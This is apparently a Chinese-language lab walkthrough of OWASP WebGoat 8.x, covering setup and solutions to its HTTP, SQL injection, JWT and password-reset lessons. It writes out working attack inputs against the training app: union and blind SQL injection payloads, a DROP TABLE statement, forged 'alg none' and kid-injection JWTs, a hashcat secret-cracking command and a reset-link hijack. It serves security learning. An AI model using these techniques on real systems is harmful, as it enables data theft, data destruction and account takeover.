Webgoat&Webwolf

owaspbwa里面的两个服务

搭建

先要安装jdk、Webgoat和Webwolf

Webgoat和Webwolf jdk1.8不支持了,需要安装jdk11

去git上下载Webgoat和Webwolf

https://github.com/WebGoat/WebGoat/releases/tag/v8.0.0.M26

去oracle官网下载JDK

https://www.oracle.com/java/technologies/javase-jdk11-downloads.html

在这里插入图片描述

启动webgoat

java -jar webgoat-server-8.0.0.M26.jar --server.port=8888 --server.address=192.168.31.155

将这条命令写到webgoat.bat中,以后直接双击webgoat.bat即可,这里有坑(!!!!启动也有坑?)

启动webwolf(后续可能会辅助使用)

这里就是坑,如果webgoat用指定端口和IP启动,那webwolf死活启动不起来

所以webgoat和webwolf统一用

java -jar webgoat-server-8.0.0.M26.jar

java -jar webwolf-8.0.0.M26.jar

这样就不会报错了,一定注意这里(如果是默认,webgoat就是8080端口了,我前期做实验的时候还没开启webwolf,所以都用的指定的8888,后面才用8080)

访问

前期

http://192.168.31.103:8888/WebGoat/login

后期,本地启动

http://localhost:8080/WebGoat/login

http://localhost:9090/login

但是这种方式虽然webgoat和webwolf都能开启,但是不能远程访问,大坑子!!!

话说回来,眼神不好,webgoat已经出了8.1,我们为啥还要在8.0版本徘徊?

圆规正转,使用了8.1,这个问题解决,想怎么启动怎么启动,两个都可以指定IP和端口,并且不会报错(我也是做到A2里面的重置密码,才有回过头把这里完善的,下面附上图)

又试验了好多次,原来是,得先默认方式启动webgoat(不加端口和IP),再指定端口+IP启动webwolf,后ctrl+c终止之前那个默认启动的webgoat,再次指定端口+IP启动webgoat,就不会报错了(跟我斗,总算让我杀出了一条血路)

老版本

新版本(新版真香)

注册

aaaaaa

password

登录进去,显示有问题的童鞋,可以启动JavaScript脚本

浏览器输入about:config

什么是WebGoat?

WebGoat是一个故意不安全的应用程序,它允许像您这样的感兴趣的开发人员测试在使用常见和流行的开源组件的基于Java的应用程序中常见的漏洞。

现在,虽然我们绝不容忍对任何动物、山羊或其他动物造成故意伤害,但我们认为,了解有关安全漏洞的所有信息对于了解即使是一小部分意外代码进入应用程序时会发生什么情况也是至关重要的。

有什么比你自己的替罪羊更好的方法吗?

你可以随意和他做你想做的事。砍,戳,戳,如果能让你感觉好点,就吓唬他,直到你的心满足为止。去吧,砍山羊。我们保证他会喜欢的。

谢谢你的兴趣!

General HTTP Basics HTTP基础

1

这个模块主要是让大家了解HTTP请求与相应,也学学burpsuite抓包

随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的

2

3

第一个输入框让输入POST或GET命令随便输一个,POST、GET都行

第二个输入框让输入魔法数字,谁知道是啥,随便输个111抓包看看情况

点击Go,抓包后,瞬间明白了,第一个参数不就是magic_num,而且是49,那第一个输入框随便填POST、GET都行,第二个输入框填49就好了啊

不过这里需要注意一点,这个数字是会变的,所以抓完包,知道数字是多少了,就快填上去吧

General HTTP Proxies HTTP代理

1

浏览器(前端)->代理(burpsuite)->服务器(后台)

通过burpsuite,可以修改前端的参数,如果参数在前端校验,而不是经过后天服务器校验的话,很多的防护都是可以通过burpsuite抓包修改参数来绕过

webogoat中,提示使用ZAP,我这用的burpsuite

2-5

代理的开启

6

Change the Method to GET

Add a header ‘x-request-intercepted:true’

Remove the request body and instead send ‘changeMe’ as query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)

拦截请求,修改请求方式为GET,加入header,删除body参数,把参数写在URL中

抓包(修改前)

POST /WebGoat/HttpProxies/intercept-request HTTP/1.1Host: 192.168.31.103:8888User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://192.168.31.103:8888/WebGoat/start.mvcContent-Length: 30Cookie: JSESSIONID=Sp-JUCdN89umJZ10GZ4K8VwZc53xzHIdAd_sQl-HDNT: 1Connection: close changeMe=doesn’t+matter+really

修改

GET /WebGoat/HttpProxies/intercept-request?changeMe= Requests+are+tampered+easily HTTP/1.1Host: 192.168.31.103:8888User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestx-request-intercepted:trueReferer: http://192.168.31.103:8888/WebGoat/start.mvcContent-Length: 30Cookie: JSESSIONID=Sp-JUCdN89umJZ10GZ4K8VwZc53xzHIdAd_sQl-HDNT: 1Connection: close

但是我好像没成功,不过大概清楚其中的知识就好

General Developer Tools 开发者工具

1-3

讲了讲浏览器的F12功能

像查看网页html代码,console执行js等

4

题目让利用console调用相关函数webgoat.customjs.phoneHome()获取随机数

F12,进入console,一把过

5

可以在F12sources中改网页html源码

可以再F12network中看请求和相应

6

F12看network中,有个请求含networkNum字段,输入字段的值

点击Go生成请求

把这个数字复制到输入框,点击check

General CIA Triad 信息安全三要素

1-4

众所周知,信息安全三要素,保密性、完整性、可用性

5

3142

(A1)Injection SQL Injection (intro) SQL注入幼稚版

1

简介

SQL语言共分为四大类:数据查询语言DQL,数据操纵语言DML,数据定义语言DDL,数据控制语言DCL。 1. 数据查询语言DQL数据查询语言DQL基本结构是由SELECT子句,FROM子句,WHERE子句组成的查询块:SELECT <字段名表>FROM <表或视图名>WHERE <查询条件> 2 .数据操纵语言DML数据操纵语言DML主要有三种形式:1) 插入:INSERT2) 更新:UPDATE3) 删除:DELETE 3. 数据定义语言DDL数据定义语言DDL用来创建数据库中的各种对象-----表、视图、索引、同义词、聚簇等如:CREATE TABLE/VIEW/INDEX/SYN/CLUSTER| | | | |表 视图 索引 同义词 簇DDL操作是隐性提交的!不能rollback 4. 数据控制语言DCL数据控制语言DCL用来授予或回收访问数据库的某种特权,并控制数据库操纵事务发生的时间及效果,对数据库实行监视等。如:1) GRANT:授权。2) ROLLBACK [WORK] TO [SAVEPOINT]:回退到某一点。回滚—ROLLBACK回滚命令使数据库状态回到上次最后提交的状态。其格式为:SQL>ROLLBACK;3) COMMIT [WORK]:提交。

2

检索员工Bob Franco的部门。请注意,您已被授予此分配中的完全管理员权限,并且可以在不进行身份验证的情况下访问所有数据

简单的SQL语句

select department from employees where first_name=‘Bob’;

3

update employees set department=‘Sales’ where first_name=‘Tobi’;

4

更改表结构加一列

alter table employees add column phone varchar(20);

5

尝试授予用户组“UnauthorizedUser”更改表的权限:

grant alter table to UnauthorizedUser

6-8

什么是SQL注入

其实SQL注入就是用户输入的字段,与SQL语句进行拼接,没有经过规范的校验,导致SQL语句执行用户输入的恶意字段,所以SQL注入的危害:SQL能做什么SQL注入就能导致什么。

9

利用特殊字符去进行拼接

记得老版是让用户自己输入,新版已经变成下拉框了,其实貌似是提示用户常用的手动注入方式

重点在把前后的单引号闭合

grant alter table to UnauthorizedUser

10

如下两个字段有一个是存在SQL注入的

1 or 1=1 –

111

这么看来第一个输入框是必须为number,不然不让通过,那就是第二个输入框存在SQL注入了

调换两个输入框顺序

111

1 or 1=1 –

11

机密性

提示:你的tan码为3SL99A每个人都用这个tan码验证身份,你比较贪心,想知道大家的工资,但是这是密薪制社会,所以你要想办法通过这个输入框爆出数据。


分析一波,tan码告诉你了,那就是第二个输入框必须得填3SL99A(其实可以随便填),那就是第一个框来爆数据

很简单

’ or true –

3SL99A

我们千万不要用这种方法去了解公司员工的工资哦

12

完整性(意味着要更改数据了)

你刚发现托比和鲍勃似乎都比你挣钱多

你的名字是约翰·史密斯,改变你自己的薪水,这样你就能赚得最多了!

更改前(11的结果)

'; update employees set salary=1000000 where last_name=‘Smith’;–

TAN随便输入

涨工资啦

13

可用性

删库跑路

现在,涨工资了,但是你更改数据库的操作都记录在access_log表中,需要对这个表操作,让安全和人力团队无法溯源

'; drop table access_log;–

(A1)Injection SQL Injection (advanced) SQL 稍微难一点版

1-2

嗯。。。说了个寂寞

说了一些常用的符号

l 注释

常用于把后半段需要闭合的引号,或者后面影响注入的SQL语句代码给注释掉

/**/是多行注释

–,#是单行注释

Example: SELECT * FROM users WHERE name = ‘admin’ --AND pass = ‘pass’

l 一语句多用

; 是把前面的SQL语句中断,后面可以跟新的语句

Example: SELECT * FROM users; DROP TABLE users;

l 字符串拼接

',+,||

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

l 联合

union 联合,一般用于爆破字段数

SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

l 组合

根据相关列组合来自两个或更多表的行

SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

3

告诉你有两张表,让你爆出Dave的密码

CREATE TABLE user_data (userid int not null, first_name varchar(20), last_name varchar(20), cc_number varchar(30), cc_type varchar(10), cookie varchar(20), login_count int);
CREATE TABLE user_system_data (userid int not null primary key, user_name varchar(12), password varchar(10), cookie varchar(30));

分析一波,想知道Dave的密码,看字段,密码在第二张表中,那就是需要用union爆出第二章表的数据,但是第一个输入框是在第一张表里查数据(7个字段),所以构造union如下

’ or true union select 1,‘2’,‘3’,‘4’,‘5’,password, 7 from user_system_data where user_name=‘dave’ –

解释一下这个payload

我们可以假设拼接后的SQL语句为

SELECT * FROM user_data WHERE last_name = ‘’ or true union select 1,‘2’,‘3’,‘4’,‘5’,password, 7 from user_system_data where user_name=‘dave’–

通过’把last_name给闭合

后面联合查询把dave密码查询出来

所以结果是输出第一张表所有内容

再输出dave的密码

密码为passW0rD

4

盲注

参考DVWA里面的盲注吧,我先写的DVWA

就是真实环境,基本都是盲注

5

用tom身份登录

麻烦点,先看看,注入点在哪吧,有两个界面,一个LOGIN,一个REGISTER,一般都在用户名,我们看看用户名

都输入,都只返回No results matched. Try Again.

看看REGISTER

题目要求的是以Tom登录,尝试注册用户名Tom,邮箱和密码随便填(邮箱要a@b.c的格式),返回:

User Tom created, please proceed to the login page.

发现用户不存在,可以注册。

对用户名进行测试,邮箱,密码和确认密码随便

tom’ or ‘1’='1
User tom’ or ‘1’='1 already exists please try to register with a different username.由于用户tom已存在,‘1’=‘1’,因此返回值为真,符合预期

tom’ and ‘1’='1
User tom’ and ‘1’='1 already exists please try to register with a different username.

tom’ and ‘1’='2
select userid from user where userid = ‘tom’ and ‘1’=‘2’这时由于’1’=‘2’ 为false,因此这个表达式的的返回值应该为假。得到的返回消息是:User tom’ and ‘1’='2 created, please proceed to the login page.符合预期,说明这里是可以采用布尔盲注的

已经确定这里存在了SQL盲注,下一步爆出密码,先得确定密码在数据库中字段名称

找密码列名这个事其实需要一些运气,下面这个方法更准确地说是在猜列名

在Register的用户名处填

tom’ or pass='123

有些地方可能出错了

tom’ or password='123

好像没那么多事,那么基本可以推测是密码字段名称为password,有更准确的方法,可以参考DVWA盲注

我深深记得艾老师说:爆破呗

首先我们要知道密码有几位,这里使用length()函数。

在注册页面的用户名里填:

tom’ and (length(password)>10) –

返回

User tom’ and (length(password)>10) – already exists please try to register with a different username.

说明(length(password)>10为真,密码长度大于10位

修改数字反复尝试,直到响应变成created那句,最后得到密码位数为23

substr()函数

substring()是字符串截取函数,第一个参数是你想要截取的字符串,第二个参数是截取字符串的起始位置,第三个参数是你想要截取字符串的位数。

例如substr(password,1,1)是截取password字符串的第一位

用Burp抓个包,抓的是点注册的时候发送过去的请求包,然后右键Send to Intruder,准备

爆破:

在Intruder的position,先清掉所有变量,并修改username_reg的值,将substr()第二个参数和’='号后面的字符值添加变量:

username_reg=tom’+and+substr(password,§1§,1)=’§2§’–&email_reg=1@1.1&password_reg=1&confirm_password_reg=1

Payloads界面

第一个变量的字典数字从1到23

第二个变量的字典A到Z,a到z,以及密码中可输入的特殊符号

慢慢等吧

快把眼睛看瞎了,并且反复了N次,也没找到Length为449的(因为网上和自己以前实验都是这个数字,Length从大到小)

这个可能新版的长度小

附上截图

Payload1是每一位,从1-23,按顺序找出Payload2

Payload1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
Payload2 Thisisasecretfortomo(方便你复制粘贴)

6

1.prepared statement和statement有啥区别

A statement has got values instead of a prepared statement

2.哪个是占位符

3.为啥prepared statements快

预编译肯定快

\4. statement prevent咋防SQL注入了

防止用户输入附加到SQL查询,从而导致代码和数据分离

43234

(A1)Injection SQL Injection (mitigation)SQL略难版

1-4

介绍了集中防止注入的方法,很良心,首推参数化查询(预处理)

5

让你补充代码,来防SQL注入

getConnection

PreparedStatement ps

prepareStatement

ps.setString(1, name);

ps.setString(2, mail)

6

直接写代码段,5是让你补充,6是写一段

如果没法编译,按住ctrl和鼠标滚轮,稍微调整一下,光标就出来了

如果写题目提示的代码也不是不行,但是没法防止SQL注入

try { Connection conn = null; System.out.println(conn); //should output ‘null’} catch (Exception e) { System.out.println(“Oops. Something went wrong!”);}

使用参数化查询来防止SQL注入

try{ Connection ct = null; ct=DriverManager.getConnection(DBURL,DBUSER,DBPW); PreparedStatement ps=ct.prepareStatement(“select * from users where name=?”); ps.setString(1,“zy”); ResultSet rs=ps.executeQuery(); } catch(Exception e){ System.out.println(“hehe”);}

7-8

无论如何用户的输入都需要一层过滤

长度和特殊字符,可以防止百分之99的SQL、XSS

9

prepare statement的补充防护

介绍了orderby注入

10

\1. 通过orderby字段执行SQL注入

\2. 求webgoat-prd主机名对应的ip地址,降低难度已给出后面的:xxx.130.219.202

\3. submit字段不易受到SQL注入的攻击

思路在第9页,即利用case when语法来达到sql注入

语法:select * from users order by (case when (true)) then lastname else firstname end)

主要是控制orderby后面的条件,来搞定,类似于前面的or true盲测字段的每一个字母

需要利用的是when (true)中的真假判断。

注意:case语句结尾要有end。

题目要求获取主机名为webgoat-prd的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。

此题有些类似于SQL 盲注,需要通过when (true)中的真假来判断IP地址的每一位是多少。下面一步步来说明。

找字段(注入点):

随便点几下,如果我没有猜错,这几个肯定和orderby有关,因为order就是排序吗

抓个包看看

点Hostname旁边的排序

得出初步结论column参数的值就是 order by的参数

验证一下

重放,修改column为ip,右边的响应不就是排序的结果吗

鬼才想法:传个不存在的试试,zzyy

可以看到,又给我们一些信息,SQL语句都告诉我们了,字段值是id、hostname、ip、mac、status、description,并且是在server表里面的,而且orderby的就是column的参数

复制SQL语句出来

select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by zzyy(注入点)

使用case when构造注入语句

select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by case when (true/false) then hostname else id end

这个语法的意思是

当when条件为true时,按照hostname处理(排序),为false时,按id处理(排序)

重温一下题目

获取主机名为webgoat-prd的服务器的IP地址,翻译为SQL语句为:

select ip from servers where hostname=‘webgoat-prd’

这种判断位数的,请问该怎么样来操作,上节课刚用过哦

对,就是一位一位截取,然后爆破,这个还简单了,因为目前IP都是数字

再次完善

substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1

爆破两个地方(懒得管题目给的提示了,直接32位全爆了吧)

合并后为

(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)

需要将空格写成%20,将单引号写成%27,否则Intruder中跑不过。切记切记。

/WebGoat/SqlInjectionMitigations/servers?column=(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end)

第一个payload是IP的下标,从1开始的,一定要注意是从1开始。下标最大是15(4个三位数加上3个点)。

第二个payload是0~9的值,这里没有判断点号,最后只要取按hostname排序的response就知道那些正确的位是多少了。

这个爆破的结果比较麻烦,因为true和false都返回一样的,只是排序的方式不一样罢了,所以要找200中的hostname排序的,hostname一共有四个,前面都一样,所以看不一样的那一位,按照字母排,应该是:

webgoat-acc

webgoat-dev

webgoat-pre-prod

webgoat-tst

找出是这样排序的,在后面的comment列标注为yes

我可以告诉你答案,根据答案验证一下即可,不用真的这么多请求都看一遍太浪费时间了

104.130.219.202

加入现在已经全部标记好,点上面的filter:showing all items

勾上,然后往旁边点一下

最后结果就是

104.130.219.202

11

分权、鉴权

(A2) Broken Authentication Authentication Bypassess身份验证绕过

1

l 介绍

利用配置和逻辑缺陷,通过篡改数据达到认证绕过

l 攻击方式

通过html中隐藏的input标签值

通过移除/修改提交的参数来确认程序的响应

通过猜测和暴力破解强制访问站点的某些URL

2

通过回答这两个问题来重置密码

两个安全问题的答案谁知道是啥,随便写个111提交,失败

将secQuestion0,secQuestion1改为secQuestion2 secQuestion3即可

你可能会问为什么,后台源码显示:

如果参数名包含"secQuestion",则将参数名作为userAnswers的key,参数值作为value存入。但是没有判定参数名后面的数字是否原先设置好的数字,所以我们给一个没有出现过得并且能通过验证的key即可

(A2) Broken Authentication JWT tokens

1-3

l JWT(JSON WEB TOKEN)

l JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码

1、头部(Header)

以上面的JWT为例,其中的头部解码后是这样的

{

“alg”:“HS256”,

“typ”:“JWT”

}

alg

是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。

typ

说明这个token的类型为JWT

2、声明(Claims)

上面的例子的声明解码后是:

{

“exp”: 1416471934,

“user_name”: “user”,

“scope”: [

“read”,

“write”

],

“authorities”: [

“ROLE_ADMIN”,

“ROLE_USER”

],

“jti”: “9bc92a44-0b1a-4c5e-be70-da52075b9a84”,

“client_id”: “my-client-with-secret”

}

其中有些字段是JWT的固定参数,有特定的含义;而另一些是服务器自定义的参数,用来表示通话信息等。

JWT固定参数有:

iss:发行人

exp:到期时间

sub:主题

aud:用户

nbf:在此之前不可用

iat:发布时间

jti:JWT ID用于标识该JWT

这段JSON同样以Base64 URL 编码后作为JWT的一部分。

3、签名

服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。

下面是一个用HS256生成JWT的代码例子

HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload),secret)

l 流程:

1、用户端登录,用户名和密码在请求中被发往服务器

2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。

3、服务器将JWT(通过响应)返回给客户端

4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中

5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态

6、服务器返回响应

l Base64 URL编码

在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码

在Base64 URL编码中,"+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的。

4

尝试更改您收到的令牌,并通过更改令牌成为管理员用户,那就是通过token越权

一旦您是管理员,则重置投票

首先我们要留意到,重置投票的按钮是这个垃圾桶:

先点小人换一个有名字的用户,然后点垃圾桶用Burp抓个包。

先试试,果然不行

将JWT头部和声明用这个网站https://jwt.io/#encoded-jwt分别解码得到

前面讲JWT的结构说过,alg的值是可以为none的,这时也就是不加密签名,签名的值就可以留空。

这时候用前面的网站就不是很方便了,我们编码工具手动编码一下:

使用

https://www.107000.com/T-Base64

进行base64编码

Header:

{ “alg”: “none”}

Base64编码后得到:

ewogICJhbGciOiAibm9uZSIKfQ==

Claims:

{ “iat”: 1594715032, “admin”: “true”, “user”: “Tom”}

Base64编码后得到:

ewogICJpYXQiOiAxNTk0NzE1MDMyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=

组合后

ewogICJhbGciOiAibm9uZSIKfQ==.ewogICJpYXQiOiAxNTk0NzE1MDMyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=.

去掉=,再加个.

ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTk0NzE1MDMyLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

5

给出了一个jwt的token,让修改token里面的账户为WebGoat然后重新加密后提交,因为token的第三部分是header和payload的base64然后加上秘钥hash的结果,hash的算法通过header部分就只能得到,所以需要爆破秘钥

看了下题目的提示,要先去下载一个google提供的常见单词top 10000作为字典,下载地址:

https://github.com/first20hours/google-10000-english

祭出kali爆破

hashcat -m 16500 jwt.txt -a 3 -w 3 20k.txt

-m 16500 ,这里的16500对应的就是jwt的token爆破;

-a 3 , 代表蛮力破解

-w 3 , 可以理解为高速破解,就是会让桌面进程无响应的那种高速

jwt.txt , 是我把题目要求破解的token保存到的文件

20k.txt , 就是google提供的10000个单词/词组/短语

不用担心,我们只需要在后面添加一个参数–force即可。

hashcat -m 16500 jwt.txt -a 3 -w 3 20k.txt --force

爆破出来了,是victory

在Encoded里面输入原始的token,然后在验证里面输入爆破的secret(victory)就提示签名正确:

接着直接修改username为WebGoat,左侧的结果会自动生成

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5Mzg1MDMwNiwiZXhwIjoxNTkzODUwMzY2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.LrOlL-4zAKe6-CoTEkORMS4ZyTDtyKTMgr0GxT4VDbU

6

通常有两种类型的令牌:访问令牌和刷新令牌。访问令牌用于对服务器进行API调用。访问令牌的生命周期有限,这就是刷新令牌的用武之地。一旦访问令牌不再有效,可以向服务器请求通过呈现刷新令牌来获取新的访问令牌。刷新令牌可能会过期,但它们的寿命要长得多。这解决了用户必须再次使用其凭据进行身份验证的问题。您是否应该使用刷新令牌和访问令牌取决于,下面可以找到在选择使用哪些令牌时要记住的两点。

7

这道题我们要冒充tom来买东西,或者说,让tom帮我们付钱。

先找到已经失效的token,根据题目提示点assignment的here连接里面就可以看到

复制出来

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

首先点checkout,用Burp看到发出了一个refresh/checkout的请求,再看一下响应,说你不是tom

使用刚刚的token,提示时间有问题

把这个token解开看看

在本文档内搜索时间戳,进那个网站就可以搜到

然后在这个基础上加了几十秒当做exp时间,然后就是要重新base64一下token,由于token默认用了HS512来hash,没那个闲工夫去爆破secret了,就直接把header里面的alg改成None,然后把最后的签名字段去掉

(注意最后提交的token最后虽然没有加签名,但是那个分割用的点还是需要的)

eyJhbGciOiJOb25lIn0. ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNTkzODc0MDAwLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.

8

tom和jerry

下面你看到两个帐户,一个是杰瑞,一个是汤姆。杰瑞想从Twitter上删除Toms帐户,但他的令牌只能删除自己的帐户。你能帮他删除Toms帐户吗

点删除tom的,抓包

老思路,把token复制下来,把jerry都换成tom,再把header里面的改成none

{

“typ”: “JWT”,

“kid”: “webgoat_key”,

“alg”: “HS256”

}

改成

{

“typ”: “JWT”,

“kid”: “webgoat_key”,

“alg”: “none”

}

编码

ewogICJ0eXAiOiAiSldUIiwKICAia2lkIjogIndlYmdvYXRfa2V5IiwKICAiYWxnIjogIm5vbmUiCn0=

{

“iss”: “WebGoat Token Builder”,

“iat”: 1524210904,

“exp”: 1618905304,

“aud”: “webgoat.org”,

“sub”: “jerry@webgoat.com”,

“username”: “Jerry”,

“Email”: “jerry@webgoat.com”,

“Role”: [

“Cat”

]

}

改成

{

“iss”: “WebGoat Token Builder”,

“iat”: 1524210904,

“exp”: 1618905304,

“aud”: “webgoat.org”,

“sub”: “tom@webgoat.com”,

“username”: “Tom”,

“Email”: “tom@webgoat.com”,

“Role”: [

“Cat”

]

}

编码

ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiaWF0IjogMTUyNDIxMDkwNCwKICAiZXhwIjogMTYxODkwNTMwNCwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAic3ViIjogInRvbUB3ZWJnb2F0LmNvbSIsCiAgInVzZXJuYW1lIjogIlRvbSIsCiAgIkVtYWlsIjogInRvbUB3ZWJnb2F0LmNvbSIsCiAgIlJvbGUiOiBbCiAgICAiQ2F0IgogIF0KfQ==

组合

ewogICJ0eXAiOiAiSldUIiwKICAia2lkIjogIndlYmdvYXRfa2V5IiwKICAiYWxnIjogIm5vbmUiCn0=. ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiaWF0IjogMTUyNDIxMDkwNCwKICAiZXhwIjogMTYxODkwNTMwNCwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAic3ViIjogInRvbUB3ZWJnb2F0LmNvbSIsCiAgInVzZXJuYW1lIjogIlRvbSIsCiAgIkVtYWlsIjogInRvbUB3ZWJnb2F0LmNvbSIsCiAgIlJvbGUiOiBbCiAgICAiQ2F0IgogIF0KfQ==.

ewogICJ0eXAiOiAiSldUIiwKICAia2lkIjogIndlYmdvYXRfa2V5IiwKICAiYWxnIjogIm5vbmUiCn0. ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiaWF0IjogMTUyNDIxMDkwNCwKICAiZXhwIjogMTYxODkwNTMwNCwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAic3ViIjogInRvbUB3ZWJnb2F0LmNvbSIsCiAgInVzZXJuYW1lIjogIlRvbSIsCiAgIkVtYWlsIjogInRvbUB3ZWJnb2F0LmNvbSIsCiAgIlJvbGUiOiBbCiAgICAiQ2F0IgogIF0KfQ.

失败,十有八九是新版不让这么做了,因为方法和前面差不多,

进入主题,看源代码发现jwt_kids表中kid字段存在SQL注入,盗一张大神的图,我来做解释,出自https://www.jianshu.com/p/d2f9815758f4

首先,这个kid没有做什么防御SQL注入的手段,所以思路可以是SQL注入

然后,这个查询的结果会作为签名算法的秘钥来对header和payload进行加密

最后,通过改变查询的结果,改变秘钥,再把秘钥的值保持一致就好啦,具体的展示如下

l 第一步

改变kid的值,让查询的结果为1

kid的值如下,MQ==就是1的base64

'; select ‘MQ==’ from jwt_keys –

header为:

{

“typ”: “JWT”,

“kid”: “’; select ‘MQ==’ from jwt_keys --”,

“alg”: “HS256”

}

l 第二步

修改username为Tom

{

“iss”: “WebGoat Token Builder”,

“iat”: 1524210904,

“exp”: 1618905304,

“aud”: “webgoat.org”,

“sub”: “jerry@webgoat.com”,

“username”: “Tom”,

“Email”: “jerry@webgoat.com”,

“Role”: [

“Cat”

]

}

l 第三步

修改秘钥secret为1

l 第四步

jwt会自动生成,就在左侧,复制粘贴过去

eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.4JwnpNmBL2grTXEGDLP1uc1HAWvOboSYFiezzL__HV8

(A2) Broken Authentication Password reset

1

依旧是业务逻辑漏洞,介绍重置密码可能差生的漏洞

2

webgoat登场

使用忘记密码,重置密码,收到邮件后再登录

点忘记密码,这里是通过发邮件来重置密码

发送邮件至username@webgoat.org

说让用自己的用户名,我的是aaaaaa

再来一次

webwolf收到邮件,给我改成6个a了

输入6个a验证

3

告诉你重置密码,有可能是黑客的钓鱼网站

4

是一个通过输入用户名和用户的问题(最喜欢的颜色)来重置密码的功能

随便输入一个zhaoyan,显示不存在,那么有回显,就代表可以试出来有哪些用户,题目说没有锁定机制,那就代表可以爆破

这个爆破就不细说,用户名可以随便搜搜字典,颜色,就搜所有的颜色英文

最后爆出了

tom

purple

5

列出了好多个常见的问题,选择每一个点check,webgoat会告诉你这个问题的安全性

6

对Tom使用重置密码链接进行重置

不抓包,先点点看

重置一下自己的密码试试

aaaaaa@webgoat.org

查看webwolf

看到最后有一串数字,莫非这就是传说中的身份?

fa58d61f-a1d2-4eb7-b5b3-39415123a0de

利用这个看看能不能越权

准备开始攻击,修改Tom密码

点击Continue,按F12,查看编辑请求

修改Host,访问本地的webwolf发邮件,相当于构造假链接

点发送,webwolf抓到链接,然后复制后面的身份验证凭证

91a23a95-aaac-4c2f-a2a6-ed6ef28fff64

替换后面的,密码输入111111,点Save

111111认证

成功

(A2) Broken Authentication Secure Passwords

1-3

写了一些密码相关的设计

4

输入个强密码,他会给你显示出你输入密码的爆破时间

随便在题目给的里面挑一个

随便输一个强度高的

zo@#jJnaksoo!123

5

密码的使用场景

6

密码保存的问题

(A3) Sensitive Data Exposure Insecure Login敏感信息泄露不安全的登录

1

中间人截获,不安全的登录

2

模拟用户登录,看看密码透传

点击log In,抓包

